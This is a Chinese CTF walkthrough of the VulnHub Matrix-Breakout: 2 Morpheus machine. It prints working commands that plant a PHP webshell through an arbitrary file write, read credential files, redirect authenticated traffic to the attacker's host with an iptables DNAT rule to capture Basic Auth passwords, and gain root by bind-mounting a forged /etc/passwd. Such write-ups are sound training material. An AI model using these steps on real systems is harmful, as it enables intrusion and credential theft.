VulnHub Matrix-Breakout: 2 Morpheus 通关记录|Web 任意文件写入、DNAT 取密与 capability 提权
靶机链接:Matrix-Breakout: 2 Morpheus
0x01 基本信息
| 名称 | IP |
|---|---|
| Kali Linux | 192.168.1.113 |
| Matrix-Breakout: 2 Morpheus | 192.168.1.114 |
攻击流程
点击展开
攻击链摘要
| 阶段 | 关键证据 / 操作 | 作用 |
|---|---|---|
| 服务发现 | 22/tcp SSH、80/tcp Apache、81/tcp nginx Basic Auth | 明确主攻击面在 Web |
| 隐藏入口 | robots.txt 提示 + CeWL/主题词表枚举命中 /graffiti.php | 获得可交互隐藏功能 |
| 任意文件写入 | 表单隐藏参数 file=graffiti.txt 可控 | 写入 PHP WebShell |
| 初始权限 | 访问 shell.php?cmd=id | 获得 www-data RCE |
| 口令来源 | .htpasswd + nginx 日志中 172.17.0.2 - cypher | 锁定容器定时带认证访问 81 |
| 取密手段 | xtables-nft-multi 添加 DNAT 规则并抓取 Authorization | 恢复 cypher 明文密码 |
| 用户落地 | cypher SSH 登录 | 获得 user flag |
| Root 提权 | python3-9 cap_sys_admin=ep + bind mount 覆盖 /etc/passwd | 添加 UID 0 用户并切换 root |
0x02 侦察与信息收集 (Reconnaissance)
1. 端口与服务识别
先用 RustScan 快速确认开放端口,再用 Nmap 做服务识别:
rustscan -a 192.168.1.114 -- -Pn -sV -sC
nmap --disable-arp-ping -Pn -p22,53,80,81 -sV -sC 192.168.1.114
服务列表摘要:
| 端口 | 服务 | 指纹 / 备注 |
|---|---|---|
22/tcp | SSH | OpenSSH 8.4p1 Debian 5 |
80/tcp | HTTP | Apache/2.4.51 (Debian) |
81/tcp | HTTP | nginx/1.18.0,Basic Auth,realm 为 Meeting Place |
53/tcp 在定向服务识别里是关闭状态,不是后续攻击主线。
2. Web 初步观察
80 端口首页:
curl -i http://192.168.1.114/
关键信息:
- 标题为
Morpheus:1 - 页面内容围绕
Trinity、Cypher、Nebuchadnezzar - 引用图片
trinity.jpeg
81 端口直接访问:
curl -i http://192.168.1.114:81/
返回 401 Unauthorized,说明这是一个独立的认证站点。
3. robots.txt 提示
curl -i http://192.168.1.114/robots.txt
结果:
There's no white rabbit here. Keep searching!
这不是普通 robots.txt,而是明确提示继续寻找隐藏入口。
0x03 漏洞探测与分析 (Vulnerability Analysis)
1. 常规目录枚举
gobuster dir -u http://192.168.1.114/ -w /usr/share/wordlists/dirb/common.txt -x php,txt,html -q
发现:
| 路径 | 状态码 | 备注 |
|---|---|---|
/index.html | 200 | 首页 |
/robots.txt | 200 | 提示继续搜索 |
/javascript/ | 301 | 目录存在 |
/server-status | 403 | 默认敏感目录 |
常规字典没有直接扫出真正入口。
2. CeWL + 主题词表发现 /graffiti.php
先用 CeWL 从首页提取站点词汇。主题词表辅助枚举的通用方法见知识库:CeWL 主题词表辅助目录发现:
cewl -w cewl_verify.txt -d 2 http://192.168.1.114/
输出中出现这些 Matrix 主题词:
Morpheus
Cypher
Nebuchadnezzar
Trinity
Boot
Root
CTF
结合页面主题补充一组小字典:
cypher
graffiti
matrix
meeting
morpheus
mouse
nebuchadnezzar
oracle
rabbit
smith
trinity
zion
重新做聚焦枚举:
gobuster dir -u http://192.168.1.114/ -w graffiti_words.txt -x php -q
命中结果:
graffiti.php (Status: 200) [Size: 464]
直接访问确认:
curl -i http://192.168.1.114/graffiti.php
结果:
HTTP/1.1 200 OK
Nebuchadnezzar Graffiti Wall
这里的关键不是“大字典硬扫”,而是根据 robots.txt 和首页主题词收束方向,用小型主题词表命中隐藏入口。
3. 隐藏参数暴露文件写入逻辑
页面表单中存在隐藏参数:
<input type="hidden" name="file" value="graffiti.txt">
这说明后端在接收 message 的同时,会把内容写入 file 指向的文件。
先用普通内容验证:
curl -i -X POST -d message=test123 http://192.168.1.114/graffiti.php
页面会回显 test123,说明输入确实被写入并再次读取。
4. 任意文件写入到 Web 根
直接把 PHP payload 写入 shell.php:
curl -i -X POST \
--data-urlencode 'message=<?php system($_GET["cmd"]); ?>' \
-d file=shell.php \
http://192.168.1.114/graffiti.php
随后验证命令执行:
curl -i 'http://192.168.1.114/shell.php?cmd=id'
结果:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
结论:graffiti.php 存在任意文件写入,可直接写入 PHP WebShell,进而获得 www-data 远程命令执行。任意文件写入转 WebShell 的判断条件和最小验证流程见知识库:任意文件写入到 WebShell。
0x04 核心攻击链:WebShell 到 cypher 明文口令
1. WebShell 本地枚举
通过 WebShell 确认主机、权限和系统版本:
curl -sG --data-urlencode 'cmd=hostname; id; uname -a; cat /etc/os-release' \
http://192.168.1.114/shell.php
结果摘要:
| 项目 | 内容 |
|---|---|
| 主机名 | morpheus |
| 当前用户 | www-data |
| 系统 | Debian 11 |
| 内核 | 5.10.0-9-amd64 |
继续确认可交互用户:
curl -sG --data-urlencode 'cmd=cat /etc/passwd | grep -E "sh$|bash$"' \
http://192.168.1.114/shell.php
得到:
root
trinity
cypher
Web 根目录里的关键文件:
curl -sG --data-urlencode 'cmd=ls -la /var/www/html' \
http://192.168.1.114/shell.php
需要关注:
graffiti.phpgraffiti.txtshell.phptrinity.jpeg.cypher-neo.png
.cypher-neo.png 可以留作离线分析,但本题最终恢复 cypher 口令的关键路径不是图片隐写,而是认证流量。
2. 81 端口认证文件与日志证据
读取 81 端口站点的认证文件:
curl -sG --data-urlencode 'cmd=cat /var/nginx/html/.htpasswd; ls -la /var/nginx/html' \
http://192.168.1.114/shell.php
结果:
cypher:$apr1$e9o8Y7Om$5zgDW6WOO6Fl8rCC7jpvX0
这说明 81 端口 Basic Auth 的用户名是 cypher。Basic Auth、.htpasswd 和访问日志的取证思路见知识库:Basic Auth、.htpasswd 与访问日志取证。接着查看 nginx 访问日志:
curl -sG --data-urlencode 'cmd=grep "172.17.0.2 - cypher" /var/log/nginx/access.log | tail -20' \
http://192.168.1.114/shell.php
关键日志:
172.17.0.2 - cypher [...:10:07:59 +0000] "GET / HTTP/1.1" 200 354 "-" "Go-http-client/1.1"
172.17.0.2 - cypher [...:10:08:59 +0000] "GET / HTTP/1.1" 200 354 "-" "Go-http-client/1.1"
172.17.0.2 - cypher [...:10:09:59 +0000] "GET / HTTP/1.1" 200 354 "-" "Go-http-client/1.1"
172.17.0.2 - cypher [...:10:10:59 +0000] "GET / HTTP/1.1" 200 354 "-" "Go-http-client/1.1"
这里可以收束出四个结论:
- 来源地址是 Docker 网段
172.17.0.2。 - 发起者使用
cypher认证。 - 访问目标是 81 端口认证站点。
- 请求大约每分钟触发一次。
3. 利用 xtables-nft-multi 劫持认证流量
先枚举 capability:
curl -sG --data-urlencode 'cmd=getcap -r / 2>/dev/null' \
http://192.168.1.114/shell.php
结果:
/usr/bin/python3-9 cap_sys_admin=ep
/usr/bin/ping cap_net_raw=ep
/usr/sbin/xtables-legacy-multi cap_net_admin=ep
/usr/sbin/xtables-nft-multi cap_net_admin=ep
再补一轮 SUID 枚举:
curl -sG --data-urlencode 'cmd=find / -perm -4000 -type f 2>/dev/null | sort' \
http://192.168.1.114/shell.php
结果里与网络面相关的是:
/usr/sbin/xtables-legacy-multi
确认目标文件权限:
curl -sG --data-urlencode 'cmd=ls -l /usr/sbin/xtables-nft-multi /usr/sbin/xtables-legacy-multi 2>/dev/null' \
http://192.168.1.114/shell.php
结果:
-rwsr-xr-x 1 root root 99136 Jan 17 2021 /usr/sbin/xtables-legacy-multi
-rwxr-xr-x 1 root root 220232 Jan 17 2021 /usr/sbin/xtables-nft-multi
这说明 www-data 上下文具备修改防火墙 / NAT 规则的能力。结合前面“容器每分钟带着 cypher Basic Auth 访问 81 端口”的证据,最直接的利用方式就是把 81 端口流量重定向到 Kali 监听端口。DNAT 捕获认证流量的通用流程见知识库:iptables DNAT 认证流量捕获。
先验证 NAT 表可读:
curl -sG --data-urlencode 'cmd=/usr/sbin/xtables-nft-multi iptables -t nat -L -n -v' \
http://192.168.1.114/shell.php
Kali 开启监听:
nc -lnvp 1236
通过 WebShell 增加 DNAT 规则:
curl -sG --data-urlencode 'cmd=/usr/sbin/xtables-nft-multi iptables -t nat -L PREROUTING -n --line-numbers' \
http://192.168.1.114/shell.php
curl -sG --data-urlencode 'cmd=/usr/sbin/xtables-nft-multi iptables -t nat -A PREROUTING -p tcp --dport 81 -j DNAT --to-destination 192.168.1.113:1236' \
http://192.168.1.114/shell.php
查看规则:
1 DOCKER all -- 0.0.0.0/0 0.0.0.0/0 ADDRTYPE match dst-type LOCAL
2 DNAT tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:81 to:192.168.1.113:1236
这里追加 -A PREROUTING 可以成功劫持,是因为 DOCKER 链存在返回规则:
-N DOCKER
-A DOCKER -i docker0 -j RETURN
流量进入 DOCKER 链后会返回,随后继续命中后面追加的 DNAT 规则。如果目标 Docker 规则更复杂,-I PREROUTING 1 是更保守的写法。
4. 抓取并解码 Basic Auth
等待下一次容器请求,监听端可以抓到原始 HTTP 请求:
GET / HTTP/1.1
Host: 172.17.0.1:81
User-Agent: Go-http-client/1.1
Authorization: Basic Y3lwaGVyOmNhY2hlLXByb3N5LXByb2NlZWRzLWNsdWUtZXhwaWF0ZS1hbW1vLXB1Z2lsaXN0
Accept-Encoding: gzip
解码 Basic Auth:
printf '%s' 'Y3lwaGVyOmNhY2hlLXByb3N5LXByb2NlZWRzLWNsdWUtZXhwaWF0ZS1hbW1vLXB1Z2lsaXN0' | base64 -d
结果:
cypher:cache-prosy-proceeds-clue-expiate-ammo-pugilist
这一步完成了从“不知道 cypher 密码”到“独立抓到 cypher 明文密码”的闭环。
清理 DNAT 规则:
curl -sG --data-urlencode 'cmd=/usr/sbin/xtables-nft-multi iptables -t nat -D PREROUTING -p tcp --dport 81 -j DNAT --to-destination 192.168.1.113:1236' \
http://192.168.1.114/shell.php
5. SSH 登录 cypher
先验证 81 端口认证:
curl -i -u 'cypher:cache-prosy-proceeds-clue-expiate-ammo-pugilist' http://192.168.1.114:81/
返回 HTTP/1.1 200 OK,说明明文口令正确。
使用该口令登录 SSH:
sshpass -p 'cache-prosy-proceeds-clue-expiate-ammo-pugilist' \
ssh -o UserKnownHostsFile=/dev/null \
-o StrictHostKeyChecking=no \
-o PreferredAuthentications=password \
-o PubkeyAuthentication=no \
cypher@192.168.1.114 'id; pwd; cat FLAG.txt'
结果:
uid=1001(cypher) gid=1001(cypher) groups=1001(cypher),1002(humans)
/home/cypher
You've clearly gained access as user Cypher.
Can you find a way to get to root?
0x05 权限提升 (Privilege Escalation)
1. 关键权限点:python3-9
python3-9 的 capability 在 www-data 阶段已经暴露。Linux capability 的风险分级和提权模板见知识库:Linux capabilities 提权:
curl -sG --data-urlencode 'cmd=getcap -r / 2>/dev/null' \
http://192.168.1.114/shell.php
关键输出:
/usr/bin/python3-9 cap_sys_admin=ep
拿到 cypher SSH 后,再确认这个二进制的 capability 和文件权限:
/usr/sbin/getcap /usr/bin/python3-9
ls -l /usr/bin/python3-9
结果:
/usr/bin/python3-9 cap_sys_admin=ep
-rwxr-x--- 1 root humans ... /usr/bin/python3-9
前面已经验证 cypher 属于 humans 组:
uid=1001(cypher) gid=1001(cypher) groups=1001(cypher),1002(humans)
因此判断链是完整的:
/usr/bin/python3-9带有cap_sys_admin=ep。- 文件权限允许
humans组执行。 cypher正属于humans组。
cypher 可以直接调用这个带 cap_sys_admin 的 Python,进一步进行 bind mount 覆盖 /etc/passwd。
2. 构造新的 /etc/passwd
在 cypher 的 SSH 会话中:
openssl passwd -1 -salt toto toto
cp /etc/passwd /home/cypher/passwd
printf 'toto:$1$toto$yogy/CxsiL7hF5invqmOk/:0:0:root:/root:/bin/bash\n' >> /home/cypher/passwd
其中第一条命令生成:
$1$toto$yogy/CxsiL7hF5invqmOk/
追加的新用户 toto 的 UID/GID 均为 0,口令为 toto。
3. bind mount 覆盖 /etc/passwd
/usr/bin/python3-9 -c 'from ctypes import *; libc=CDLL("libc.so.6"); libc.mount.argtypes=(c_char_p,c_char_p,c_char_p,c_ulong,c_char_p); print(libc.mount(b"/home/cypher/passwd", b"/etc/passwd", b"none", 4096, b"rw"))'
findmnt /etc/passwd
getent passwd toto
结果:
0
/etc/passwd /dev/sda1[/home/cypher/passwd] ...
toto:$1$toto$yogy/CxsiL7hF5invqmOk/:0:0:root:/root:/bin/bash
0 表示 mount 调用成功,findmnt 和 getent 进一步证明 /etc/passwd 已被绑定到 /home/cypher/passwd,并且新加入的 UID 0 账户已经被系统解析。
4. 切换到 root
su - toto
输入口令:
toto
切换成功后验证:
whoami
id
cat /root/FLAG.txt
结果:
root
uid=0(root) gid=0(root) groups=0(root),1001(cypher),1002(humans)
0x06 最终成果 (Final Flags)
User Flag
- 路径:
/home/cypher/FLAG.txt - 内容:
You've clearly gained access as user Cypher.
Can you find a way to get to root?
Root Flag
- 路径:
/root/FLAG.txt - 内容:
You've won!
Let's hope Matrix: Resurrections rocks!
复盘总结
Matrix-Breakout: 2 Morpheus 的重点不是单点爆破,而是把 Web 写入、日志证据、网络能力和 capability 串成一条完整链。
- 隐藏入口来自主题收束。 常规目录枚举没有发现
/graffiti.php,但robots.txt和首页 Matrix 主题让 CeWL + 小词表成为更高效的枚举方式。 - 任意文件写入直接变成 WebShell。 隐藏
file参数可控,且写入目录位于 Web 根下,PHP payload 可以直接落地并执行。 .htpasswd不是终点。 哈希说明了cypher是认证用户,但真正的突破点是 nginx 日志证明容器每分钟带认证访问 81 端口。- 网络能力扩大了 WebShell 价值。
xtables-nft-multi cap_net_admin=ep让www-data能修改 NAT,把容器的 Basic Auth 明文请求导向 Kali。 cap_sys_admin是 root 提权关键。 带该 capability 的python3-9可由humans组执行,而cypher正属于这个组,因此可以通过 bind mount 覆盖/etc/passwd。- 防守上要同时收紧文件写入、网络管理能力和 capability。 Web 用户不应能写 Web 根里的任意文件;高权限网络工具不应带可被 Web 用户触达的 capability;
cap_sys_admin近似 root,应极其谨慎授予。